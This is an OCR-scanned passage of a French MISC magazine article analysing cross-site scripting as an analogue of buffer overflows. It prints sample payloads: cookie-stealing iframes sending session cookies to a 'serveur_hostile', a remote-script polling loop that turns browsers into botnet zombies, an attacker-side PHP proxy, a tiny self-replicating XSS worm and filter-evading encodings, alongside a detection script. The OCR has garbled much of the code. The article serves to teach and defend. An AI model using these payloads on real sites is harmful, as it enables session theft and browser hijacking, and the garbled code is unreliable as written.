possible d’'ajouter, de modifier ou de supprimer tout
élément dans une page :



function bu){

var Ndiv = null;

var jsFile? = document.getElementByld('home_main');
if (Ndiv) {jsFile2.removeChild(Ndiv);}

Ndiv = document.createElement("diy" );
Niv.innerHTML=u;

jsFile2.appendChild(Ndiv);

) ] ;

Cette fonction ajoute par exemple sous Firefox un élément
<div> a un élément existant portant 1'id « home main » et
y insére le contenu de la variable u passée en parametre.

Lutilisation de I’API DOM peut notamment étre exploitée
parun attaquant pour réécrire une page légitime et présenter
a l'utilisateur une page lui demandant de saisir des codes
d’acces. Ces attaques de phishing sont particulierement
redoutables puisque la page présentée se trouve bien dans
le domaine attendu par!'utilisateur. Il est important d’avoir
al’esprit que méme une vulnérabilité présente sur une page
de déconnexion peut étre exploitable, une attaque pouvant
consister a s’en servir pour présenter une page de connexion :

document.write("<iframe id=o0 name=o style='margin:@; padding:B;
border-width:#; border- style:none; scrolling:none’
sre=https://serveur_legitime/page_de_login height=\"10%\"
width=\"108%\" ></iframe>");document,write{"<iframe id=1 name=i
border=8 src=\"https://serveur_legitime/page_de logoutIvariable_
mal_controlee=<script>function ali{setTimeout('al};",6008);

var u='hitp://serveur_hostile/enregistrement_sessionsiw=';

var v=document.cookie;var w=u.concat(v};decument.getElementByld
("3').src = wibal);</s"+"cript><ing name=j fd=j border=g
height=1 width=1>\" height=1 width=1></iframe>");

Ce script exploite une vulnérabilité présente surla page
« page_de logout » pour remplacer le contenu de cette page
par un document contenant deux iframes : une premiére,
présentant la page de login légitime de I’'application et une
deuxiéme, exploitant une seconde fois la vulnérabilité de
la page de logout pour envoyer toutes les six secondes le
contenu des cookies courants sur un serveur hostile distant.
Ce mécanisme tire parti du fait que page de logout et page
de login ont toutes deux accés aux cookies assurant la
conlinuité de la session.

Les possibilités offertes al'attaquant sont en fait énormes,
a tel point que Jeremiah Grossman sous-titrait son livre
XSS Attacks paru en avril 2007 « XSS is the New Buffer
Overflow, JavaScript Malware is the New Shell Code »'5,
Cette assertion, qui semble osée de prime abord, tire sa
justification de la formidable ascension du JavaScript au cours
des derniéres années, JavaScript dont la puissance permet
aujourd’hui, plus encore qu’en 2007, de faire tourner de
véritables applications dans un navigateur web : des suites
bureautiques comme Google Documents'?, Zoho Office’® ou
ThinkFree'?, mais aussi de véritables WebOS comme eye0S?°,

Nous examinerons d’un peu plus pres cette analogie entre
XSS et attaques applicatives classiques dans la seconde
partie de cet article, car elle permet de mieux comprendre
toute 1'étendue des possibilités offertes a un attaquant par
le XSS, notamment a travers l'injection de différents types
de codes JavaScript malveillants. H
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= NOTES

! Le classement 2010, plus sensible au
risque qu’ala frequence des valnérahilités,
le rétrograde a la seconde place, mais
I'évaluation du risque néglige selon nous
l'impact potentiel d'une attagque massive
telle que celle que nous décrivons dans
notre troisieme partie : cf. hitp://bit.ly/immN4o.

* Voir hitp:/ibit.ly/9ECBfV
Joir http:/bit.ly/49ImXq0
Voir http:/ibit.ly/b3yD3j et http://bit.ly/16m0O09
¥ Voir http:/ibit.ly/bt2Z0B
5 Document Object Model ; voir httpi/iwww,
w3.org/DOM! et http://bit.ly/9sujhD
? Voir http:/ibit.ly/vAEUO

Souvent abrégé en XHR : type de requéte
realisée en JavaScript, permettant notamment
de mettre a jour certaines données d'une
page sans avoir a la recharger entiérement ;
l'usage de ces requétes peut étre déetourné
pour masquer une activité malveillante ;
voir hitp:/hit.ly/bFdY8T.

* Voir https:/irpxnow.com/

Il faut souligner ici la trés grande réactivite
de Uservoice/Rpx : nous leur avons signalé la
vulnérabilité ainsi qu’a Google, Facebook et
Microsofi le 07 juillet 2009 vers 16H (heure
de Paris). Vers 22H30, un premier correctif
était apporté au service d’authentification
de Uservoice, qui neutralisait la plupart des
attaques signalées, La vulnérabilité a été
totalement corrigée le 10 juillet.

1 Voir http:/ibit.ly/Spgpl ; nous y revenons dans
la suite de l'article.

2 Voir http:ffbit.lyvFkvu

13 Voir http;/ibit.ly/6jhPU ; voir aussi http:/ibit.Iy/7L1rzQ
pour un exemple récent d’exploitation de
ce type d'attaque sur Facebook.

1 Voir http:/fi8jesus.com/?p=75

5 Document Object Model ; voir http:fiwww.
w3.0rg/DOM/ et http:/ibit.ly/9sujhD

1% « Le XSS est le nouveau depassement de
tampon, et le code JavaScript malveillant
le nouveau shellcode » : voir hitpi/fbit.lylepP3cL.

17 Voir http:/fbit.lyiwoD5s

18 Voir http:/lwww.zoho.com/
1 Voir httpi/fbit.lyl39gF5

20 Voir http:fffr.eyeos.org/

Les reférences de cet article sont disponibles sur
www. miscmag.com/ref49.
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Pierre GARDENAT - pierre.gardenat@ac-rennes.fr

mots-clés : XSS / CROSS SITE SCRIPTING / JAVASCRIPT / MALWARE / BOTNET

ésumé de I'épisode précédent :

R Le XSS, en tirant notamment parti de ['API DOM, permet de réaliser des
attaques si puissantes que Jeremiah Grossman sous-titrait son livre XSS
Attacks paru en avril 2007 « XSS is the New Buffer Overflow, JavaScript Malware is
the New Shell Code’ », Il est important d’examiner de plus prés cette analogie entre
XSS et attaques applicatives classiques afin de bien comprendre toute I'étendue des
possibilités offertes par le XSS a un attaquant, notamment & travers l‘injection de
différents types de codes JavaScript malveillants. Dans la troisiéme partie de cet
article, nous essaierons d‘évaluer le risque réel de différents scénarios d'attaques,
tirant notamment parti des trois erreurs les plus fréguemment commises a propos
du XSS.

une connexion TCP associée a une redirection de
I'interpréteur de commandes, etc. L'écriture d'un
shellcode est souvent soumise a certaines contraintes :
de portabilité (d’un OS & l'autre, d’une version a
l'autre d’un méme OS, etc.) ; d’environnement :
le contexte de la fonction utilisée pour l'injection
impose un type de variable, il faut étre capable de
déterminer l'adresse de début du code injecté au

Les attaques XSS ne constituent en rien un genre
nouveau d'attaque informatique ; elles font partie de
la grande famille des attaques par injection, comme le
dépassement de tampon.

Dans une attaque applicative classique par dépassement
de tampon, on distingue généralement trois phases :

a) Lexploitation de la faille, qui consiste a placer dans

une variable une valeur de longueur supérieure a
celle de la mémoire qui lui est réservée et contenant
un code que I'on souhaite injecter. On écrit donc au-
dela du tampon sur la zone mémoire du processus,
Jjusqu’a remplacer une adresse de retour ou des
structures internes par l'adresse du code injecté ;
cette valeur, contenant le code a executer etl’'adresse
de retour, est communément appelée « charge
utile » ou payload en anglais, car elle contient tous
les éléments nécessaires a l'exploitation de la faille.

b) Lexécution du code injecté, quilance généralement un

shell, mais qui permet en réalité d'effectuer d’autres
actions : télécharger et exécuter un code distant,
ouvrir un connect back (ou reverse shell ) en lancant
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sein du programme attaqué ; de grammaire : le
shellcode ne doit pas conlenir certains caracteres (le
nul byte souvent, un / ou un . dans une URL, etc.).

c) La fiabilisation, qui consiste a assurer la survie

de I’attaque par divers moyens : modification des
processus lancés au démarrage, remplacement
de processus systeme légitimes par des processus
intégrant des portes dérobées ou permettant
de dissimuler 'action des processus lancés par
I'attaquant, obfuscation ou chiffrement des données
transmises au sein de flux légitimes, etc. Les
différentes techniques exploitables sont mises en
ceuvre au sein de programmes ou d’ensembles de
programmes deésignés sous le terme de rootkits.



Nous allons voir qu'une attaque XSS, au-dela de I’aspect
anecdotigue du message d'alerte qui lui est souvent
associé, et qui n’est en fait qu'une « preuve de concept »
(mauvaise traduction de Proof Of Concept en anglais)
indiquant qu’une vulnérabilité est vraisemblablement
exploitable, fonctionne exactement de la méme manieére, et,
mutatis mutandis, obéit aux mémes types de contraintes.

L'exploitation d'une

faille XSS

A l'instar du débordement de tampon, nous avons
vu qu'une vulnérabilité XSS était présente dés que I'on
pouvait injecter du code non prévu : si le débordement

de tampon exploite une fonction dans un processus, le -

XSS quant a lui exploite une requéte HTTP qui, comme
la fonction, gére un certain nombre de variables : celles
qui sont passées en GET dans I'URL ou envoyées en
POST, mais aussi les différents éléments associés a la
requéte, comme les cookies, le referer, etc.

Le processus, qui est1'élément permettant I’exécution
du code machine injecté dans le débordement de tampon,
tourne avec certains privileges ; le mieux pourl'attaquant
est d’attaquer un processus tournant avec des droits
élevés (ring0 sur les processeurs x86) pour disposer d'un
acces direct au matériel ; dans le cas du XSS, le processus
correspond a la page weh associée a une URL, donc a
des privileges sur un domaine, des cookies, etc. Dans le
meilleur des cas, nous allons le voir, 'attaquant peut élever
ses privileges pour prendre presque totalement le contrdle
du navigateur. Cerise sur le géteau, le XSS se combine
a d'autres attaques, ciblant le navigateur lui-méme ou
1'un de ses greffons, visant a exécuter du code arbitraire
sur le systéme de la victime avec les droits du processus
associé au navigateur ; ces attaques secondaires, tres
puissantes, sont une source de plus en plus importante
d’'infection des systémes par des malwares classiques ;
elles ne sont pas forcément amenées par l'exploitation
d'une vulnérabilité XSS, mais leur combinaison avec
une attaque XSS de grande envergure peut avoir des
effets dévastateurs. Ce point fera I’objet d’une bréve
étude de risque présentée dans notre troisiéme article.

Penchons-nous pour le moment sur les conditions
nécessaires a 1’exploitation d’une vulnérabilité XSS.

Pour qu'une vulnérabilité XSS soit réellement exploitable,
il est nécessaire de pouvoir injecter du code exécutable,
qui est la plupart du temps du JavaScript [35]. Sil‘on parle
de vulnérabilité XSS lorsqu'’il est possible d’insérer des
balises « inertes » comme <marguee> ou <p>, ces injections
ne permettent pas de mener d’attaques puissantes, un
peu comme un débordement de tampon pour lequel il
ne serait pas possible d'injecter un shellcode ou un code
réellement exploitable. Dans la trés grande majorité des
cas, les codes injectables en XSS permettent cependant
d’exécuter du JavaScript :

DOSSIER 2/4

- soit directement gréce a une balise <script>;

- soit indirectement parlintermédiaire d'un autre type de
balise ; exemple : <img src=. onerror= ‘javascript’>;

- soit indirectement par 1’adjonction d’un paramétre
dans une balise déja présente ; exemple :
onmouseover="javascript’ " associé a une balise " <a>;

- soit indirectement par l'intermédiaire d'une chaine
susceptible d'étre manipulée dans un script déja
présent ; exemple : function a(){javascript} ;a().

Il faut noter immeédiatement que ce qui importe a
I'attaquant est bien le rendu HTML final dans le navigateur
de la victime. Comme pour un buffer overflow, pour lequel
les codes d’exploitation sont susceptibles de varier d'un
OS a l'autre ou d'une version du méme OS a l'autre, les
codes d’exploitation d’une vulnérabilité XSS varient d'un
navigateur a l’autre et d'une version du méme navigateur
a l'autre. La page maintenue par Robert Hansen alias
RSnake sur http://ha.ckers.org/xss.html [10] liste un certain
nombre de codes génériques susceptibles d’étre utilisés
pour vérifier la présence d’'une vulnérabilité XSS dans
une page, en fonction du navigateur employé [39]. S’il
ne faut retenir qu'une chose, c’est le role essentiel de
I’encodage des caracteres : de méme qu’il existe de
nombreux moyens différents d’écrire un shellcode qui
fasse la méme chose, il existe de nombreux moyens de
rendre le méme code d’'attaque XSS, en faisant varier
I'encodage des caractéres [33][34]. Une attaque bloquée
avec des caractéres codés en UTF-8 peut tres bien
fonctionner avec leurs équivalents hexadécimaux ou
pourquoi pas avec un codage ASCII ou UTF-72.

De ce que nous avons dit précédemment, il ressort
que le caraclére le plus utile a un attaquant est le signe
d’ouverture de balise <, qui peut étre rendu de multiples
maniéres (la liste n'est pas exhaustive) :

<

#3C
&t
&t
ALT
ALT;
k60
&x3c
B3,
R#tk3c
\xdc
\x3C
\ugdic
etc,

La charge utile del'attaque, ou payload, exploitera donc trés

souvent ce caractere, généralement associé a des caracteres
permettant de clore des guillemets ou une balise ouverte :

Exemple :
"' f><ipg src=, onerror= "javascript"%ed

Le shellcode correspond quant a lui au code qui sera
exécuté, le plus souvent du JavaScript, onl'a vu. Ici encore,
un certain nombre de contraintes pésent sur 1'écriture
de ce code. Ces contraintes, ainsi que l'environnement
d’exécution du code, auront des conséquences sur
I’étendue des privileges dont pourra profiter I'attaquant.
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Exécution du

« shellcode » JavaScript

Le JavaScript, notamment grace a I’API DOM, est
aujourd’hui un langage permettant d'effectuer de
nombreuses opérations, dont1'usage a de mauvaises fins
par un attaquant autorise des attaques puissantes [1][12].
Le petit tableau suivant illustre quelques détournements
possibles des nombreuses fonctionnalités offertes gréace
au JavaScript :

Ecriture de balises permettant de
pointer vers des ressources web
incluses : <iframe>, <ilayer>,
etc,
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Ce tableau n’est pas exhaustif et il est appelé a
évoluer ; il permet néanmoins d'avoir une premiére idée
des possibilités offertes aujourd’hui par le JavaScript.
11 est a noter que c’est 'accés a I’API DOM, a travers la

manipulation des balises HTML, qui fournit le vecteur

it TR T
Ajout d'iframes malveillantes au sein
d'une page, defiguration, attaques de
phishing, attaques CSRF* en GET, prise
d’empreinte de services web ouverts surle
réseau local® [21], scan de vulnérabilités
sur des services web locaux ou distants®,
scan de ports sur le réseau interne [17]
[22] ; chargement de code malveillant
(exploits PDF, SWF, etc.), enrolement dans
un réseau de navigateurs zombies’, etc.

Inclusion de scripts via l'écriture
de balises <script>

Chargement de commandes depuis un
serveur distant contrélé par |'attagquant
et exécution de ces commandes.

Ecriture et envoi de formulaires

Lancement d’autres attaques XSS (par ver,
parexemple) ou injections SOL notamment.

Lancement de requéte XHR
(XMLHttpRequest®) sur le
domaine courant

Scan de vulnérabilités, lancement d'autres
attaques, récupération d'information
confidentielle, tout cela en tache de fond,
de maniére invisible pour l'utilisateur.

Manipulation de calques

Aftaques de clickjacking®

Acces aux cookies de la page
courante

Envoi des cookies a un serveur contréle
par 'attaguant, usurpation d’identité.

Interaction avec le clavier

' Keylogger", envoi du texte tapé sur un

serveur contrélé par l'attagquant

Accés aux attributs CSS!! (style
des liens visités notamment)

Reconstitution de I'historique de navigation
par force brute'?, recherche de motifs
dans les recherches effectuées sur des
moteurs.

Accés au presse-papiers (sur
certaines versions d'Internet
Explorer seulement)

Envoi du contenu du presse-papiers
sur un serveur controlé par 'attaguant.

Ecriture de balises <img>

Attaques CSRF' en GET, fuite d'information
par envoi des données collectées vers un
serveur controlé parl'attaquant (frappes
clavier, nom et contenu des cookies,
données obtenues a partir de requétes
XHR!* resultat d'un scan du réseau lucal,
elc.), scan de ports sur le réseau interne
[38], redirection vers un serveur interne
contrélé par l'attaquant permettant de
récupérer un hash NTLM'® [16].
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d'attaque le plus important.

On peut aussi se demander, a la lecture de ce tableau,
comment il est possible que 1’'on autorise des scripts a
interagiravec des éléments situés sur des domaines différents
du domaine depuis lequel ils ont été chargés. Et on aura
raison : ¢’est théoriquement impossible. Le probléme est

précisément que les mécanismes de sécurité mis
en ceuvre pour empécher ces interactions sont
souvent contournables, comme un buffer overflow
qui autoriserait une escalade de priviléges.

2.1 'La SOP

I’élément capital susceptible de limiter la portée
d’une attaque XSS est la fameuse regle de la Same
Origin Policy (SOP), qui interdit a une page ou a
un script chargé a partir d’'un domaine d’obtenir
ou de modifier les propriétés d'un élément d’un
autre domaine. La SOP s'applique dés que 1'on
change de sous-domaine, que l'on change de
protocole (HTTPS au lieu de HTTP) ou que 'on
change de port de communication (81 au lieu de
80, par exemple). La SOP est implémentée dans
tous les navigateurs modernes el constilue la clé
de vofite de leur politique d’étanchéité. C’esl
elle qui interdit notamment a un script injecté
gréce a une attaque XSS de lancer des requétes
de type XMLHttpRequest vers un domaine tiers,
ce qui empéche un attaquant de transformer la
machine de sa victime en plate-forme de rebond
et d’attaque vers 1'extérieur. C'est elle aussi qui,
en dehors d’attaques CSRF a l’aveugle, empéche
le méme attaquant d’accéder au périmétre local
(machine et réseau) de la victime.

Le probleme est qu'il existe au moins quatre
méthodes de contournement de la SOP :

a) Laplus célébre, bien connue des développeurs
AJAX'® [2], consiste a utiliser un proxy web
relais entre le navigateur de la victime et
le site que 1’on souhaite interroger. La SOP
est respectée, puisque le navigateur ne
communique qu’avec un seul domaine, celui
du proxy, mais bien contournée puisqu'il est
possible de lancer n'importe quelle opération
de scan depuis le navigateur de la victime ;
soit http:/iurl_vulnerable, une page présentant une
vulnérabilité XSS volatile, par exemple. Un
attaquant peut contourner la SOP en injectant
une iframe pointant sur http://jproxy_http?url_
demandée=http:/lurl_vulnerable. Notons qu’un
simple script PHP peut faire office de proxy.



FOCUS SUR...

: ; , s LE NAVIGATEUR, LOGICIE-
b) La deuxieme option est en fait une variante de

la précédente : le mod_rewrite ou le mod proxy <« VICAI RE >
d’Apache peuvent en effet jouer un réle de relais.

c) La troisiéme solution est plus restrictive, puisqu’elle
n’est exploitable que pourles web services supportant
le format de sortie [SON'7; les données JSON, qui sont
des objets JavaScript, peuvent étre obtenues et utilisées
au sein de codes relevant de domaines différents.

d) Enfin, un attaquant siir que sa victime utilise Firefox B3 ¢ . B
pourra tenter d’exploiter un script signé!® ; ces : 5 i _ htt / i 4 \/ = :
derniers, étant considéres comme « de confiance » i W W y =
par Firefox, sont autorisés a communiquer avec b : B P 33 ]
n'importe quel nom de domaine.

Ces quatre méthodes peuvent aussi présenter des
variantes : §"il est connu qu’'un code JavaScript peut adresser
des requétes a un serveur a travers des balises images
pointant sur lui, il est moins connu qu'il peut également
récupérer ses réponses, et ce quel que soit le domaine du
serveur, en évaluant régulierement le contenu d‘un script

généreé par ce serveur et intégré a la page via I’API DOM. Un navigateur web permet de faire au]uurd’hni de pIns
en plus de choses, de la manipulation de documents_ =

bureautiguies a la configuration d'une 1mpr1ma.nte ti-seau," :
en passant par le paramétrage d'on lnuteur

Le code suivant recharge toutes les cing secondes au
sein de I’elément d’id « myScript » un JavaScript généré
par la page PHP http://serveur_hostile/script.php :

document,write("<SPAN id="myScript'><scriptovar 3
scriptode = null;function me{}{var jsFile = document. d” mlerpwter nahw-ment ou parl adjﬂn{tmn de detere :
getElementByld('myScript');if (scriptede) {jsFile. greffons (Java a travers des applets; VBscript, C++ ou
":']‘?”EC“P g;sgr‘i ?N“dei i }:?[“' ptHodg=$ucumeqt£;r§ateEl 9“'9";& 5‘3;'} Pascal a travers des controles ActiveX sur-Internt

iseriptiode. type="text/javascript';scripthode.sre = ! I g e e S SSeE : B
Eerveur_hgsti]e,-‘sig1 pt.php' ;;ljstle.EppendChE1 d({scripthode) ;}aindom __java?cn!)l intégte aux fichiers .pdl, A_c_ﬁ“
setInterval('ne();", 5008);</SCRIPT></SPAN"); appilcations Adabe Flash o Adobs Hlex,

naturellement de maniére significative
Des services en ligne, comme les gadgets Google'?, peuvent le risgue diattague XSS, mais aussi les c0ns

aussi jouer le role de relais entre un domaine et un autre, potentielles d une attaque réussie.:

et ainsi etre utilises pour contourner la Same Origin Policy. A pum et pds negﬁ_géf' :

Il nous semble enfin que des URL spécifiques en des services de type « Weh 2.0 3, ¢’est-a=
Javascript: ou data:, qui autorisent un acces au contexte ne cnnsidére que l'dfl"l‘ptiﬂﬂ « uli]isateur
de session de la page chargée « en méme temps » (en
réalité juste avant) constituent des bréches dansla SOP.

Les possibilités de contournement de la SOP ouvrent la
voie a des attaques inter-domaines extrémement puissantes.

Une fois qu'un attaquant est parvenu a exécuter un
shellcode JavaScript, comme dans le cas d'un débordement
de tampon, il cherche naturellement a fiabiliser son
attaque...

ut_.ﬂlsateurs, et l extension conaidembleﬁ
offertes parle JavaScript, notamment po
:leveloppel des apphcatmns plus riche

4 La fiabilisation de

'attague XSS

La persistance d'une attaque XSS peut étre réalisée de inf or mdlwna per&.onnelieq o %eusﬂ;!es,

différentes maniéres. On distinguera trois techniques : I'exploilation massive de vulnérabilités a

a) Au moment de l'attaque elle-méme, un attaquant plusieurs environnements de navigation.
cherchera souvent a créer un jeu de cadres (frames
en anglais) destiné a accueillir la page vulnérable,




EOCUS SUR .

« FOCUS SUR LA _
DETECTION/PREVENTION
D’ATTAQUE EN
JAVASCRIPT

Leé JavaScript peut
exploiter différentes
technigues pour
reperer etfou
neutraliser certaines
attagues XSS
virtualisation du
code provenant
dapplications
tierces, comme le
fait Facehook avec
FB]S (pour FaceBook
JavaSeript : vair hitpidiwikidevelopersfacebook comfindex.phpl
FBJS), ou repérage de motifs suspects a travers des
«scripts-sentinelles », :

Le JavaScript suivant est ainsi capable de repérexrla
présence de motifs dangereuxapres leur interprétation
au sein du navigateur, I decrypie en fait'le code passé
& une fenction evat afin de voir s'il contient le- motif
défini-dans ta variable motif ver, Quel gueisoit le
nivean d’ohifuscation ou-de chiffrement, Te motif sera

5

retrouvé; puisgu’il devra a un moment ou a un aulre
eire intelligible pour le navigateur=:

function a(){ i
var moLif_ver="glert('Lisez MISC !'})";
var a=document.getElementsByTaghame("himl");
yar b=a[@].innerHTHL; !
var c=document.getElementsByTaghame("script");
for (var i = 1; 1 < c.length; i+) {
var d=c[i].innerHTHL;
if(d.index0f( "eval (" )>8){
var e=d.index0f("eval(");
var po=g;
yar pf="";
var fe=f;
for (var f = eth; f < d.length; f+) {
ifi(d.charAt(f)=")"14k(po=L)){
fe=f;

B Dreak;
}
if(d.charAt(f)=="("}{
pott;}
if(d.charAt(f)=")"}{
pos=;}

var g=eval(d.substr(e+s,fe-e-5));

}
if(g.index0f(motif_ver)>-1){
§ alerti"Cade dangereux repéré");

XSS : LE DIABLE SE CACHE DANS LES DETAILS —
2EME PARTIE - XSS ET OVERFLOW

de maniere a conserver, dans une ou plusieurs
iframes, la possibilité de lancer des scripts au cas
ou l'utilisateur quitterait la page vulnérable ; tant
que ce dernier reste sur le domaine de la page
vulnérable, 1'attaquant peut aussi continuer a
bénéficier de la Same Origin Policy pour lancer
des attaques sur les pages visitées.

b) Lorsque 1'utilisateur quitte son navigateur, le
déclenchement d’'une boucle JavaScript permet
parfois de garder le processus du navigateur
ouvert en tiche de fond, sans qu'il soit facile pour
'utilisateur de repérer qu'il est toujours actif [19].

¢) Enfin, les XSS persistantes permettent de déclencher
des attagues discrétes qui ne nécessitent pas
d’ingénierie sociale ; une injection réalisée sur
un service ou un portail de services fréquemment
employé par un utilisateur est un moyen efficace de
lancer des attaques réguliéres et presque invisibles.
On pourrait ainsi comparer une injection sur un
portail ou une page web placée en page d'accueil
du navigateur a un code malveillant traditionnel
chargé au démarrage du systéme.

Ces techniques peuvent naturellement étre combinées
entre elles pour constituer des sortes de rootkits XSS
capables de dissimuler une activité malveillante du
navigateur ; on voit une fois de plus que XSS et buffer
overflow ont finalement plus en commun qu’on ne pourrait
le croire de prime abord.

Mais il existe une autre forme de persistance...

‘A linstar des vers du passé, une des exploitations
les plus communes aujourd hui consiste a transformer
une machine compromise en un zombie, membre d'un
botnet. Ces zombies se connectent régulierement a un
centre de commande pour récupérer des ordres avant
de les exécuter.

Le XSS exploite justement un élément qui communique
nativement en réseau, le navigateur. Peut-on donc créer
un XSSBotnet ? Pour créer un tel botnet, il faudrait
parvenir a :

- faire en sorte qu'un grand nombre de navigateurs

visitent en méme temps une page vulnérable ;

- faire en sorte que tous ces navigateurs obéissent
en méme temps aux ordres qu’on souhaiterait leur
donner.

Par rapport a ce qui a été dit auparavant, il faut noter
que la notion de « persistance de l'attaque » est ici de
nature un peu différente : ce qui importe a |'attaquant
n’est pas tant de maintenir la connexion des mémes
utilisateurs sur le site vulnérable que de s’assurer qu'il y
a toujours un certain nombre de personnes connectées,
peu importe qui elles soient.



a) La premiére condition peut étre remplie assez

facilement par deux méthodes différentes :

- En réalisant une injection persistante sur une
page trés fréquentée (blog de grande audience,
par exemple).

- En diffusant un ver XSS [20] au sein d‘un réseau
communautaire trés fréquenté ; dans ce cas, ¢’est
l"accumulation des profils compromis qui permet
a l'attaquant d’atteindre un volume critique de
navigateurs connectés a une page vulnérable. Le
JavaScript permet d’écrire facilement des codes
capables de s’autoreproduire d'un profil al'autre :
un des deux codes retenus dans le concours lancé
début 2008 par Robert « RSnake » Hansen?!, qui
visait a ecrire le ver XSS compatible IE6/FF2 le
plus petit possible??, a consacreé deux codes de 161
octets seulement. Voici I'un des codes retenus :

<forme<input name="content"><img src=""
onerror="with(parenthode)alert('¥35',submit(content.value=
‘<form>'+inneriTHL. slice(action=(method="post'J+'.php', 156)))">

Comme on le voit, ce code duplique simplement
l'ensemble du payload en le postant & une page
post.php sous la forme d'un parametre content.
1l est certainement impossible a injecter dans le
monde réel, mais illustre bien le peu de moyens
nécessaires a l'écriture d'un ver XSS,

C'est précisément cette méthode du ver XSS qui est
de loin la plus intéressante pour un attaquant, dans la
mesure ot elle lui permet de ne pas injecter exactement
le méme code dans tous les profils, lui donnant ainsi
plus de chances de survivre a une désinfection. Le
JavaScript offre de trés nombreuses possibilités
d’écrire un code fonctionnellement équivalent :

Lecodealert(‘Lisez MISC ! ") peutainsi s’écrire?
[36][37] :

alert("Lise™+((3 <6 7 'z' ¢ ''))+" MISC I*)

o

var _Bx8Bf8=["\xdC\x69\x73\x65\XTA\X2B\x 4D\ x40\ x5\ k43 \ 128\
%21"1;alert(_0x80F8[6]};

ou bien :

eval (String.fromCharCode(97,1088,101,114,116,48,34,76,185,115,
101,122,32,77,73,83,67,32,33,34,41))

Or, lorsqu’un gestionnaire de site constate la
présence d'une vulnérabilité XSS persistante au sein
d'une page, il se contente souvent de procéder ala
neutralisation de 1'attaque repérée en supprimant
de la base de données les différentes occurrences du
code hostile injecté, et en ajoutant un filtre destiné
a éviter I'enregistrement de nouveaux codes hostiles
dans la base. Un code hostile différent, mais déja
présent dans la base de données, a donc de bonnes
chances de passer inapercu.

Enfin, il est intéressant de noter qu’a partir d'une
certaine masse critique, les réseaux sociaux de
grande audience sont vulnérables a des attaques
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par ver reposant sur de simples XSS volatils : c’est
ce qu’'a montré Kyran sur GaiaOnline?:.

b) La deuxieme condition est elle aussi assez facile

a remplir, le JavaScript offrant tous les moyens
necessaires a un attaquant pour établir un canal de
communication bidirectionnel entre le navigateur
ouvrant une page vulnérable et un site contrdlé parlui:

- le flux d’information allant du navigateur de
la victime au site contrélé par l'attaquant peut
exploiter le chargement de fausses images par
des commandes du type :

document.write("<img id=j name=j width=0 height= border=g
src=http://serveur_hostile/image.php?parametre=envoi_de_
donnees >');

- le flux d’'information allant du serveur contrélé
par l'attaquant au navigateur de la victime peut
exploiter une boucle JavaScript récupérant et
évaluant régulierement le code généré par une
page du serveur hostile :

Supposons, par exemple, que l'attaquant injecte
le code suivant grace a une vulnérabilité XSS :

document.write("<SPAN id="myScript'><script>var scripthode =
null;function me(){var jsFile = document.getFlementByld
('myScript')sif (scripthode) {jsFile.removeChild(scriptode);}
scriptode=document.createElement('script')iscripthode, type=
‘text/javascript’;scriptNode.src = "http://serveur_hostile/
generateur_de_script.php';isFile.appendChild(scripthode);}
window.setInterval('me();', 5088);</SCRIPT></SPAN>");

Ce code recharge toutes les cing secondes au
sein de I'élément d'id « myScript » un JavaScript
généré parla page PHP http:/iserveur_hostile/generateur_
de_script.php.

Supposons maintenant que le chargement d’une
fausse image déclenche 1'exécution du script PHP
suivant :

$url=Sparametre;

$rdf = parse_url($url);

$fp =fsockopen($rdf['host'], 8M, $errno, Serrstr, 15);

if [18fp) { ‘
$valeur = "<font class=content >Adresse injoignable...</font>";
$cont = @;

return;

}
if ($fp) {
fputs($fp, "GET . $rdf['path'] . "1" . $rdf['query'] . "
HTTP/ZL.B\r\n");
fputs($fp, "HOST: " . $rdf["host'] . "\r\n\rin"};
§siring= "";
while(!feof($p)) {
$pagetext = foets($fp,308);
$string .= chop($pagetext);

}
fputs($fp,"Connection: closehrinirin”);
felose(§fp);

$string=eregi_replace(".*<htm]>","<html>",§string);
$valeur=$siring;

$valeur=htmlspecialchars($valeur);

echo "b(\"".$valeur."\");";

exit;
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Ce script, déposé sur un serveur contrdlé par
I'attaquant, part du principe que le contenu de la
variable url passée en paramétre correspond a
une URL ; il va récupérer le contenu du document
accessible a cette URL grice a une requéte GET et
geénérer un code JavaScript appelant une fonction
b() alaquelle il passe le contenu récupéré.

Si I'attaquant a prévu une fonction b() dans le
script injecté coté navigateur, celui-ci traitera le
contenu passé en parameétre, en violant donc la
régle de la Same Origin Policy :

function blu){

var Ndiv = null;

var jsFile2 = document.getElementById(" home_main');
if (Ndiv) {jsFile2.removeChild(Ndiv);}

Ndiv = document.createElement("diy" );
Ndiv.innerHTML=u;

JsFile2.appendChild(Ndiv);

1l est important de comprendre que cette communication
entre nceuds JavaScript est possible dés lors qu’un noeud
est en mesure de joindre I'autre via une inclusion de script.

XSS : LE DIABLE SE CACHE DANS LES DETAILS - 2EME PARTIE - XSS ET OVERFLOW

Le serveur PHP joue clairement ici le réle d'un proxy
permettant au code chargé depuis la page vulnérable
d’accéder a des contenus hébergés sur d’autres domaines,
mais tout JavaScript injecté grace a une vulnérabilité XSS
dans une page d'un domaine D1 est en fait susceptible
de transformer le navigateur de la victime en proxy
et de renvoyer a l'attaquant, via le code injecté dans
la page d'un domaine D2, des documents du domaine
D1. Le plus simple pour l'attaquant est d’exploiter une
combinaison de requétes XMLHttpRequest, pourl'obtention
des informations recherchées sur le domaine D1 et de
requétes pointant sur de fausses images d’un serveur qu’il
controle, pour la récupération et le traitement éventuel
des informations remontées. Cette mécanique peut étre
mise en ceuvre pour tenter de forcer une victime visitant
une page vulnérable de I'Internet & envoyer a son insu
des informations hébergées sur un serveur web intranet
hébergeant lui aussi une page vulnérable.

Une fois que I'attaquant est parvenu & établir un canal
de communication bidirectionnel et qu’il est en mesure
de Lransmettre des ordres au navigateur de sa victime,
ce dernier est devenu un zombie comparable aux PC
des réseaux de Command and Control* (voir Figure 2).

Domaine D23

Domaine D1

lattaquant

Serveur avec application
WEB vulnérable au XSS

ﬁ;;:p.léte 5

; s réponse
// ~———Navigateur
{ | {WEB
{ compromis
I\\. F A z
\\“‘x Serveur WEB interne_—~
LAN A T—sansap B

vulnérable au XS5

Serveur relai contrdlé par

Paoste de I‘éttaquant

Domalne D2

i

Serveur avec application
WEE vulnerable au XS5

Vot o2 Navigateur
o .;.-WEB

\‘\.,_‘ Serveur WEB interne
LAN B "~ avec application WEB~

“Vulnérable au XSS

Fig. 1 : Ce schéma résume les possibilités offertes & un attaquant étani parvenu a amener deux utilisateurs
deux réseaux prives A et B a se connecter a une page vulnerable sur deux serveurs dans les domaines

Les pastilles rouges montrent les flux d'informations contrélés par l'attaguant. Le rebond XSS dans le LAN B

